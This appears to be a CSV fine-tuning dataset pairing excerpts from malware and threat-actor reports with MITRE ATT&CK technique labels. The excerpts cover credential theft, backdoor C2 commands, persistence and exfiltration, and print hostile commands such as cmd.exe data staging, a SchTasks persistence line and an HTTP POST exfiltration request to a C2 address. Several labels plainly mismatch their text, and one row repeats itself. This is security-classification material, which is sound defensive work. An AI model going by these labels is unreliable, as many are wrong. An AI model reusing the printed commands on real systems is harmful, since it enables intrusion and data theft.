"Additional Features The Zyklon malware offers the following additional capabilities (via plugins): Browser Password Recovery Zyklon HTTP can recover passwords from popular web browsers, including:  Google Chrome Mozilla Firefox Internet Explorer Opera Browser Chrome Canary/SXS CoolNovo Browser Apple Safari Flock Browser SeaMonkey Browser SRWare Iron Browser Comodo Dragon Browser  FTP Password Recovery Zyklon currently supports FTP password recovery from the following FTP applications:  FileZilla SmartFTP FlashFXP FTPCommander Dreamweaver WS_FTP  Gaming Software Key Recovery Zyklon can recover PC Gaming software keys from the following games:  Battlefield Call of Duty FIFA NFS Age of Empires Quake The Sims Half-Life IGI Star Wars  Email Password Recovery Zyklon may also collect email passwords from following applications:  Microsoft Outlook Express Microsoft Outlook 2002/XP/2003/2007/2010/2013 Mozilla Thunderbird Windows Live Mail 2012 IncrediMail, Foxmail v6.x - v7.x Windows Live Messenger MSN Messenger Google Talk GMail Notifier PaltalkScene IM Pidgin (Formerly Gaim) Messenger Miranda Messenger Windows Credential Manager  License Key Recovery The malware automatically detects and decrypts the license/serial keys of more than 200 popular pieces of software, including Office, SQL Server, Adobe, and Nero","['T1003 - OS Credential Dumping', 'T1552.001 - Unsecured Credentials: Credentials In Files']",fine_tune
Additional mitigations that could help to prevent attacks like these from succeeding in your environment include:  Changing the default handler for “.hta” files in your environment so that they cannot be directly executed.hta” files in your environment so that they cannot be directly executed,"['T1070.004 - Indicator Removal on Host: File Deletion', 'T1105 - Ingress Tool Transfer']",fine_tune
"After decrypting and decompressing the strings, we can trivially identify aspects of the PlugX configuration","['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information']",fine_tune
"Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/  folder","['T1564.001 - Hide Artifacts: Hidden Files and Directories', 'T1543.001 - Create or Modify System Process: Launch Agent']",fine_tune
"After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system","['T1140 - Deobfuscate/Decode Files or Information', 'T1105 - Ingress Tool Transfer']",fine_tune
All of the backdoors identified - excluding RoyalDNS - required APT15 to create batch scripts in order to install its persistence mechanism,"['T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
All of these files reside in the victim’s %TEMP% directory:    Filename Description   9PT568.dat Contains victim unique identifier   TPX498.dat Keystroke logs   edg499.dat List of interesting files   TPX499.dat Temporarily holds screenshot when given command by C2   up Temporarily contains downloaded file to be executed when given command by C2      Other changes we noticed in this variant include how the malware obfuscates C2 information stored via dead drop resolvers,"['T1036 - Masquerading', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"Amongst the downloaded files,  the fake .gif and .jpg files appear to be dependencies for the malware","['T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer']",fine_tune
"A much more advanced and highly obfuscated Javascript script was utilized in White Atlas samples that dropped a Firefox extension backdoor developed by Turla, but again the script was responsible for the simple tasks of writing out the extension.json configuration file for the extension and deleting itself for cleanup purposes","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1064 - Scripting', 'T1027 - Obfuscated Files or Information']",fine_tune
"Any information gathered from the endpoint is first stored in the following file, encrypted, and sent to the control server:  C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server:  Directory listing of the user’s Desktop folder using command:  cmd.exe /c dir C:\DOCUME~1\<username>\Desktop\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Directory listing of the user’s recently accessed files using command:  cmd.exe /c dir C:\DOCUME~1\<username>\Recent >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Directory listing of the system’s %programfiles% folder using command:  cmd.exe /c dir C:\PROGRA~1\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Systeminfo of the endpoint using command:  cmd.exe /c systeminfo >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Copies the file ixe000.bin from:  C:\Documents and Settings\<username>\Application Data\Microsoft\Windows\UserProfiles\ixe000.bin To: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Registry key and value information for the current user’s Run key (with information collected):  HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Number of subkeys (<KeyIndex>) <KeyName> Number of Values under each key including the parent Run key (<ValueIndex>) <Value_Name> <Value_Content>  Registry Run key enumeration by Gold Dragon","['T1033 - System Owner/User Discovery', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1486 - Data Encrypted for Impact']",fine_tune
"Apart for its backdoor routines, this malware can steal information through keylogging, audio recording, and screen capture","['T1113 - Screen Capture', 'T1123 - Audio Capture']",fine_tune
"A shortcut file is generated in the following path:  %TEMP%\~Update.lnk  This ‘~Update.lnk’ file is then copied to a filename of ‘Windows help.lnk’, which is placed in the startup path previously identified","['T1036 - Masquerading', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name","['T1082 - System Information Discovery', 'T1083 - File and Directory Discovery']",fine_tune
"Assuming the victim opens the attachment, the infection process begins as described in the following section.Many of the distribution servers that are being used to host the HawkEye keylogger binaries that are retrieved during the infection process are hosting large numbers of malicious binaries and, in many cases, contain open directory listings that can be used to identify the scope of the infections that they are being used to facilitate","['T1057 - Process Discovery', 'T1056 - Input Capture']",fine_tune
A string with the 5-character length and encoded with BASE64 is added to the beginning of the buffer encoded using the BASE64 algorithm,"['T1027 - Obfuscated Files or Information', 'T1132 - Data Encoding']",fine_tune
"Attack Flow and Exfiltration After injecting into the targeted processes, the modules continue their malicious activity through those processes","['T1055 - Process Injection', 'T1057 - Process Discovery']",fine_tune
AutoFocus customers may learn more from the DarkHydrus tag  IOC Related SHA256 Hashes Payloads cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1 ac7f9c536153780ccbec949f23b86f3d16e3105a5f14bb667df752aa815b0dc4 a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88 d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda dd2625388bb2d2b02b6c10d4ee78f68a918b25ddd712a0862bcf92fa64284ffa b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81 c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3 ce84b3c7986e6a48ca3171e703e7083e769e9ced1bbdd7edf8f3eab7ce20fd00 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c Delivery documents d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318 8063c3f134f4413b793dfc05f035b6480aa1636996e8ac4b94646292a5f87fde 9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49 cf9b2b40ac621aaf3241ff570bd7a238f6402102c29e4fbba3c5ce0cb8bc25f9 0a3d5b2a8ed60e0d96d5f0d9d6e00cd6ab882863afbb951f10c395a3d991fbc1 0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82 870c8b29be2b596cc2e33045ec48c80251e668abd736cef9c5449df16cf2d3b8 ff0b59f23630f4a854448b82f1f0cd66bc4b1124a3f49f0aecaca28309673cb0 01fd7992aa71f4dca3a3766c438fbabe9aea78ca5812ab75b5371b48bd2625e2 6dcb3492a45a08127f9816a1b9e195de2bb7e0731c4e7168392d0e8068adae7a 47b8ad55b66cdcd78d972d6df5338b2e32c91af0a666531baf1621d2786e7870 776c056096f0e73898723c0807269bc299ae3bbd8e9542f0a1cbba0fd3470cb4 cf7863e023475d695c6f72c471d314b8b1781c6e9087ff4d70118b30205da5f0 e88045931b9d99511ce71cc94f2e3d1159581e5eb26d4e05146749e1620dc678 26e641a9149ff86759c317b57229f59ac48c5968846813cafb3c4e87c774e245 b5cfaac25d87a6e8ebabc918facce491788863f120371c9d00009d78b6a8c350 ad3fd1571277c7ce93dfbd58cee3b3bec84eeaf6bb29a279ecb6a656028f771c Related Domains maccaffe[.]com cisc0[.]net 0utl00k[.]net msdncss[.]com 0ffice[.]com 0ffiice[.]com micrrosoft[.]net anyconnect[.]stream bigip[.]stream  fortiweb[.]download  kaspersky[.]science  microtik[.]stream  owa365[.]bid  symanteclive[.]download  windowsdefender[.]win allexa[.]net kaspersky[.]host hotmai1[.]com 0utlook[.]bid,['T1087 - Account Discovery'],fine_tune
"Backdoor.Remexi, one of the malware in use by Chafer, had the following  command and control host: 87pqxz159.dockerjsbin[.]com Interestingly, IP address  83.142.230.138, which serve as a command and control address for an OilRig related sample (3a5fcba80c1fd685c4b5085d9d474118), was pointed to by 87pqxz159.dockerjsbin[.]com as well","['T1016 - System Network Configuration Discovery', 'T1102 - Web Service']",fine_tune
The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary: Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 Control Server Communications. The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data.,"['T1036 - Masquerading', 'T1048 - Exfiltration Over Alternative Protocol', 'T1132 - Data Encoding']",fine_tune
"Based on the McAfee Advanced Threat Research team’s analysis, we find multiple components from this operation are unique from a code perspective, even though the code is loosely based on previous versions of the SYSCON backdoor","['T1140 - Deobfuscate/Decode Files or Information', 'T1027.001 - Obfuscated Files or Information: Binary Padding']",fine_tune
"By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process","['T1055 - Process Injection', 'T1057 - Process Discovery']",fine_tune
"C2 Command   Purpose    reboot  Reboot the system using shutdown command    shutdown  Shut down the system using shutdown command    clean  Wipe the Drives, C:\, D:\, E:\, F:\    screenshot  Take a screenshot of the System    upload  Encrypt and upload the information from the system    excel  Leverage Excel.Application COM object for code execution    outlook  Leverage Outlook.Application COM object for code execution    risk  Leverage DCOM object for code execution   Conclusion This activity shows us that TEMP.Zagros stays up-to-date with the latest code execution and persistence mechanism techniques, and that they can quickly leverage these techniques to update their malware","['T1113 - Screen Capture', 'T1082 - System Information Discovery', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"ChromeUpdate.exe starts the file with “rundll32 cache.dll,ADB_Setup” Cache.dll analysis  Cache.dll was written in C/C++ and built with a Microsoft compiler","['T1055 - Process Injection', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",fine_tune
"Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more","['T1115 - Clipboard Data', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1070 - Indicator Removal on Host']",fine_tune
"Command_Keylog_offline:  Load into memory a dll that contains the function “PluginMe”.  After researching and analyzing additional Gh0stRAT samples while trying to figure out what dll contains “PluginMe”, I found a DLL for keylogging (called Keylog.dll) in a Gh0stRAT 2.0 sample that exported “PluginMe”.  Using that and a cross-comparison of another Gh0stRAT sample that I’ve previously analyzed, I was able to determine that “PluginMe” is a offline keyboard manager","['T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1056 - Input Capture']",fine_tune
"Command_Update_Server:  This command passes the string “Gh0st Update” to the malware sample before running the sample again.  When the sample restarts, it detects the “Gh0st Update” command line arg, and connects to the server in order to update the sample.  Command_Clean_Event:  This command locates and deletes all of the event logs on the system","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1059 - Command and Scripting Interpreter', 'T1070 - Indicator Removal on Host', 'T1102 - Web Service']",fine_tune
Command   Description    0x31  Fingerprint System via WMI and Registry    0x32  Drop File and execute    0x33  Remote Shell    0x34  Terminate connection with C2    0x35  Download and run batch script    0x36  Download file on machine    0x37  Upload File    Table 2: FELIXROOT backdoor commands Figure 9 shows the log message decrypted from memory using the same mechanism shown in Figure 6 and Figure 7 for every command executed,"['T1064 - Scripting', 'T1105 - Ingress Tool Transfer']",fine_tune
"Command  Description  Action  0  Server response string contains batch commands  Execute batch commands and send results back to server  1  Server response string is a file path  Check for file path and upload (PUT) the file to server  2  Server response string is a file path  Check for file path and download (GET) the file   Table 1: POWRUNER commands After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1041 - Exfiltration Over C2 Channel', 'T1105 - Ingress Tool Transfer']",fine_tune
Command Functionality   Init Create a reverse shell   Write Write a file to the compromised system from the C2 server   List List the files in a directory   Upload Upload a file from the compromised system to the C2 server    Table 2,"['T1041 - Exfiltration Over C2 Channel', 'T1105 - Ingress Tool Transfer']",fine_tune
"Command IDDescription     0Uninstall Keydnap and quit   1Update the backdoor from a base64-encoded file   2Update the backdoor given a URL   3Decode and execute a base64-encoded file   4Decode and execute a base64-encoded Python script   5Download and execute a file from a URL   6Download and execute a Python script from a URL   7Execute a command and report the output back to the C&C server   8Request administrator privileges the next time the user runs an application   9Decode and execute, or stop, a base64-encoded file calledauthd_service    The last two commands stand out","['T1140 - Deobfuscate/Decode Files or Information', 'T1132 - Data Encoding', 'T1569.002 - System Services: Service Execution']",fine_tune
"Comnie will make requests to these URLs, looking for base64-encoded data after an identifier of ‘magnet:/’, as seen in the example below: Figure 14 GitHub storing Comnie C2 information In the example above, the C2 information is being stored within the user’s URL parameter within GitHub","['T1102 - Web Service', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"Continuing Malicious Activity and Manipulating Additional Security Products After the module loads with regsvr32.exe, the Irdsnhrxxxfery64 module injects another module Irdsnhrxxxfery98, which was downloaded by the script into regsvr32.exe using the LoadLibraryExW() function","['T1055 - Process Injection', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32']",fine_tune
Create processes Write responses from the control server to a file Send information for all drives Write data sent by the control server to a temporary file matching the file path pattern %temp%\DWS00* Change the time of a file as specified by the control server  The malware changing the file time,"['T1070.006 - Indicator Removal on Host: Timestomp', 'T1074 - Data Staged', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
cUpdateCheckers.bat is launched and creates a scheduled task for GoogleUpdateschecker.vbs persistence,"['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1064 - Scripting']",fine_tune
"Cyber analysts are encouraged to review the information provided in this alert to detect signs of malicious network activity.Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware","['T1518.001 - Software Discovery: Security Software Discovery', 'T1018 - Remote System Discovery']",fine_tune
"Decrypted Config: C&C IP: 192.168.0.107 Port: 80 Sleep Timer: 30000 Campaign Identifier: Mirage If you look at it the decrypted configuration, you may notice that the IP being used for the C&C is an internal IP address","['T1140 - Deobfuscate/Decode Files or Information', 'T1016 - System Network Configuration Discovery']",fine_tune
Deletes the registry key HKCU\Software\Classes\Applications\rundll32.exe\shell\open Deletes the dropper components from the system,"['T1070.004 - Indicator Removal on Host: File Deletion', 'T1112 - Modify Registry']",fine_tune
"Different colors show the three dropped modules: legit app (blue), launcher (green), and decompressor with the Trojan embedded (red) The initial module drops three files that are typical for Chinese-speaking actors: a legit Symantec pcAnywhere (IntgStat.exe) for DLL side loading, a .dll launcher (pcalocalresloader.dll) and the last-stage decompressor (thumb.db)","['T1055 - Process Injection', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"Downloading stylesheets allows for emended JavaScript and VBS to be run from within them, at which point any type of malware could be staged and run quite easily","['T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"During our investigation of one of the compromised servers we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH","['T1036 - Masquerading', 'T1021 - Remote Services']",fine_tune
"During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL:  http://ink[dot]inkboom.co.kr/host/img/jpg/post.php  HTTP data/parameters used in the request include:  Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar ywhpFxMBe19cSjFnG <followed by base64 encoded & encrypted system info> User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Accept-Language: en-us HTTP Version: HTTP/1.0    The malware can also download and execute additional components served to it by the control server","['T1071 - Application Layer Protocol', 'T1048 - Exfiltration Over Alternative Protocol', 'T1132 - Data Encoding', 'T1486 - Data Encrypted for Impact']",fine_tune
"During the past few months, APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities (CVE-2017-0199 and CVE-2017-11882) to target organizations in the Middle East","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution']",fine_tune
"Embed ""scriptlets"" in generated payloads to perform some tasks ""offline"" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.)   Multiple Target Platforms:      Platform Support Status     Windows XP Supported   Windows 7 Supported   Windows 8 Supported   Windows 10 Supported   Linux Supported   Mac OSX Limited Support   Android Limited Support    Documentation All documentation can be found on the wiki","['T1106 - Native API', 'T1010 - Application Window Discovery']",fine_tune
"Encoding the encryption key  In order for the C&C server to decrypt the encrypted data, the randomly generated AES256 key must be included in the packet along with the encrypted data","['T1573 - Encrypted Channel', 'T1486 - Data Encrypted for Impact']",fine_tune
"Encrypted Configuration in shellcode The configuration information for the malware, including the C2 information are encrypted in the first shellcode blob and are passed as an argument to the DllMain function of the main PlugX DLL","['T1082 - System Information Discovery', 'T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information']",fine_tune
Escalate Privileges APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes,"['T1003 - OS Credential Dumping', 'T1068 - Exploitation for Privilege Escalation']",fine_tune
"Examining the use of the unique user agents’ strings over time shows that while previously only the Mozilla/5.0 user agent was in use, since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications","['T1033 - System Owner/User Discovery', 'T1543.001 - Create or Modify System Process: Launch Agent']",fine_tune
Exfiltration BRONZE UNION has also leveraged various web shells to collect and stage data for exfiltration,"['T1074 - Data Staged', 'T1505.003 - Server Software Component: Web Shell', 'T1132 - Data Encoding']",fine_tune
Figure 11: XML configuration file to schedule the task The Zyklon malware first retrieves the external IP address of the infected machine using the following:  api.ipify[.]org ip.anysrc[.]net myexternalip[.]com whatsmyip[.]com  The Zyklon executable contains another encrypted file in its .Net resource section named tor,"['T1036 - Masquerading', 'T1027 - Obfuscated Files or Information']",fine_tune
"Figure 12: RSA public key 1    Figure 13: RSA public key 2    Figure 14: AES encryption parameters After encryption, the cipher text to be sent over C2 is Base64 encoded",['T1573 - Encrypted Channel'],fine_tune
Figure 13: Zyklon issuing “settings” command and subsequent server response    Figure 14: Zyklon issuing “sign” command and subsequent server response    Figure 15: Zyklon issuing “ddos” command and subsequent server response Plugin Manager Zyklon downloads number of plugins from its C2 server,"['T1016 - System Network Configuration Discovery', 'T1105 - Ingress Tool Transfer']",fine_tune
"Figure 2: Textbox inside DOC The combined script from Word textbox drops the following components: \Users\[user_name]\Intel\58d2a83f7778d5.36783181.vbs \Users\[user_name]\Intel\58d2a83f777942.26535794.ps1 \Users\[user_name]\Intel\58d2a83f777908.23270411.vbs Also, the script creates a named schedule task for persistence to launch “58d2a83f7778d5.36783181.vbs” every 25 minutes","['T1033 - System Owner/User Discovery', 'T1036 - Masquerading', 'T1087 - Account Discovery', 'T1064 - Scripting', 'T1204 - User Execution']",fine_tune
"Figure 26. Communication with the C&C server after the exchange of OS packet info Meanwhile, the runHandle method of the main backdoor loop will call for the requestServer method with the following backdoor commands (each command has one byte long code and is extracted by Packet::getCommand):   Figure 27. The getCommand method The figure below shows the example of two of several possible command codes","['T1140 - Deobfuscate/Decode Files or Information', 'T1008 - Fallback Channels']",fine_tune
"Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks In this example, a scheduled task named “Windows Scheduled Maintenance” was created to run Casey Smith’s “Squiblydoo” App Whitelisting bypass every 30 minutes","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1036 - Masquerading']",fine_tune
Figure 5: Sample pseudo-HTTP beacon The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command,"['T1071 - Application Layer Protocol', 'T1090 - Proxy']",fine_tune
File Indicators Samples Observed from Spear Phishing Messages Above    Filename Chinas_Arctic_Dream.doc   File Size 6587812 bytes   MD5 598eeb6a18233023f3551097aa49b083   SHA1 e9a46966f93fe15c22636a5033c61c725add8fa5   Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe,"['T1036 - Masquerading', 'T1083 - File and Directory Discovery']",fine_tune
Filename The_Four_Traps_for_China.doc   File Size 4428595 bytes   MD5 7659c41a30976d523bb0fbb8cde49094   SHA1 3f1f3e838a307aff52fbcb5bba5e4c8fe68c30e5   Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe,['T1036 - Masquerading'],fine_tune
"FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment","['T1090 - Proxy', 'T1049 - System Network Connections Discovery']",fine_tune
"Finally, the malware executes the extracted install.bat script before deleting the original files and exiting","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1064 - Scripting']",fine_tune
"Finally, the Trojan creates a scheduled task to run itself every three minutes by running the following command on the command prompt after replacing the %path% string with the path to the srvResesponded.vbs VBScript:SchTasks /Create /SC MINUTE /MO 3 /TN “InetlSecurityAssistManager” /TR “wscript %path%” /f The Trojan uses HTTP to communicate with its C2 server, specifically using the InternetExplorer application object within an embedded Microsoft .NET Framework assembly called Interop.SHDocVw","['T1071 - Application Layer Protocol', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"First, the macro attempts to enable macros in multiple versions of Word, PowerPoint, Publisher and Excel by setting the following registry keys to the value of 1: HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings  The macro also attempts to disable protections provided by the Protected View capability within Word, Excel, and PowerPoint by setting the following registry keys to a value of 1: HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV    First Stage Payload The payload installed by the macro is a downloader Trojan written in VB.NET that downloads a secondary payload and decoy document","['T1553.002 - Code Signing', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1005 - Data from Local System', 'T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1112 - Modify Registry', 'T1598.002 - Spearphishing Attachment', 'T1204 - User Execution', 'T1203 - Exploitation for Client Execution', 'T1497 - Virtualization/Sandbox Evasion']",fine_tune
"Following these checks, it drops several more malware files signed with the pasted AMD digital signature to a directory it creates","['T1553.002 - Code Signing', 'T1083 - File and Directory Discovery']",fine_tune
"For example, From <COMPUTER-NAME> (01-04 11-40-02).txt  All the text files are now packed into the archive temp.zip (%temp%\temp.zip) zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt txt is uploaded to the control server  Additional Commands and Capabilities The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords:  TO EVERYONE: Commands issued to all infected endpoints TO <COMPUTERNAME>: Commands issued to endpoints matching the ComputerName  The following commands are supported by the malware implant:  cmd /c pull <filename>: Adds filename to temp.zip, Base64 encodes, and uploads to control server cmd /c chip <string>: Deletes current ipnet.ini config file","['T1059 - Command and Scripting Interpreter', 'T1560 - Archive Collected Data', 'T1132 - Data Encoding']",fine_tune
"For example, the following string would be included in one of the HTTP parameters sent to the C2 server: eRmaVsr90D-7Ig1ngV3PkdouzP974 In this specific case, the actor made a mistake when configuring this XAgent sample with its C2 locations","['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels']",fine_tune
"For instance, here are the resulting decrypted strings from each of the case statements (dd7e69e1…): Case – String decrypted 1 – 185.25.50[.]93 2 – POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1\r\nHost: 185.25.50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 3 – porg= 4 – Content-Length: The Trojan uses raw sockets to communicate with its C2 server and uses the decrypted string above to create HTTP requests","['T1071 - Application Layer Protocol', 'T1140 - Deobfuscate/Decode Files or Information', 'T1008 - Fallback Channels']",fine_tune
"For instance, the following data exists within a resource: fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f By multiplying each byte with -1, we obtain the following data: 05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1 After using RC4 and the key 14331d289e737093994395d3fc412afc, the following cleartext data appears: \x00\x00\x00\x00FlashRun.vbs We do not see the payload using this FlashRun.vbs filename, instead it uses a temporary file name to store an embedded VBScript file, such as %Temp%\4.tmp\5.vbs","['T1036 - Masquerading', 'T1064 - Scripting', 'T1486 - Data Encrypted for Impact']",fine_tune
"From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality","['T1140 - Deobfuscate/Decode Files or Information', 'T1056 - Input Capture']",fine_tune
"From those servers the threat actor could use a web shell to retrieve the encrypted archives:  copy \\{FILE PATH}\c$\programdata\*.tmp \\{FILE PATH}\ServiceDesk\custom\style After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
"Function for scrambling AES256 key in the outgoing packet  Some screenshots taken during scrambling and encryption process:   Figure 21. The highlighted bytes represent the scrambled computer info   Figure 22. Randomly generated AES256 key   Figure 23. Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.)   Figure 24. Computer info encrypted with AES256 key   Figure 25. Screenshot of the final payload to be sent to C&C server","['T1113 - Screen Capture', 'T1573 - Encrypted Channel']",fine_tune
Gather the process time for all processes  Getting time information for all processes running on the system,"['T1055 - Process Injection', 'T1057 - Process Discovery', 'T1124 - System Time Discovery']",fine_tune
Generate payloads in various formats:      Format Architecture Short Name     Android Package x86 & ARMv7 apk   Linux Binary x86 lin_x86   Linux Binary x64 lin_x64   Linux Shared Object x86 so_x86   Linux Shared Object x64 so_x64   Windows PE Executable x86 exe_x86   Windows PE Executable x64 exe_x64   Windows DLL x86 dll_x86   Windows DLL x64 dll_x64   Python Script x86 & x64 py   PyInstaller x86 & x64 pyinst   Python Oneliner x86 & x64 py_oneliner   Powershell x86 & x64 ps1   Powershell Oneliner x86 & x64 ps1_oneliner   Ducky Script N/A rubber_ducky      Deploy in memory from a single command line using python or powershell one-liners,"['T1106 - Native API', 'T1010 - Application Window Discovery', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
Get-Process | select Company Checks to see if any running processes have “Wireshark” or “Sysinternals” as the company name,"['T1518.001 - Software Discovery: Security Software Discovery', 'T1057 - Process Discovery']",fine_tune
"Having a Meterpreter session on a compromised computer allows for full control of the computer and exfiltration of any data, and in some cases lateral movement inside the organization","['T1123 - Audio Capture', 'T1132 - Data Encoding']",fine_tune
Here is the content of the file: /shellcode <90909090909090909090E800<...redacted…>4D2D6DC95CBD5DC1811111111111111> def <7B0D0A2756...redacted…>312067657420636C6F736566696C650D0A717569740D0A7D> token pop exch pop Exec  The executed shellcode will first perform a decoding routine designed to download an additional payload from the internet,"['T1064 - Scripting', 'T1105 - Ingress Tool Transfer']",fine_tune
"High Commissioner of Bangladesh Pakistan eying Sukhoi-35 fighter planes as part of defense deal from Russia 2018.143 PG COURSE IN 2018-2021 BATCH India Bangladesh and Pakistan Press Release on Observance of Historic Mujibnogor Dibosh by Pakistan Mission on 17 April 2018 Afghan Bomb Blast report by ISI USAJOBS Daily Saved Search Results for New GS15 for 3/30/2018 How Rigging take place in Senate Elections in Pakistan Afghan Terrorist group details ISI Restricted113 1971 Liberation War Freedom Fighters in Pakistan Army Custody Database  Additionally, the following filenames were witnessed in these attacks (spelling and grammar mistakes included):  Liberation Freedom Fighter.xlam NSC details of participants.xlam Raw Sect Vikram report on Pak Army Confidential.doc USA Immagration Policy for Families.ppam doc CV FM.doc doc Sukhoi35 deal report.doc Nominal Roll.doc Press Release 17 April.doc Afghan Blast report by ISI.doc Rigging in Pakistan Senate.doc Afghan Terrorist group report.doc    The payloads for these attacks varied in malware family",['T1083 - File and Directory Discovery'],fine_tune
"Hook module structure After decrypting the strings, it became clear that the Linux Hook main module communicated with the same CnC server as other Windows modules:  The CNC’s IP address in the Linux module This Linux module can process the following commands, some of which are similar to the Windows version:    die  delete all BlackEnergy2 files and system traces   kill  delete all BlackEnergy2 files and system traces and reboot   lexec  launch a command using bin/sh   rexec  download and launch file using ‘fork/exec’   update  rewrite self file   migrate  update the CnC server    Windows Plugins After the disclosure of an unusual CnC server that pushed Linux and the new Windows plugins we paid greater attention to new BE2 samples and associated CnCs","['T1106 - Native API', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1105 - Ingress Tool Transfer']",fine_tune
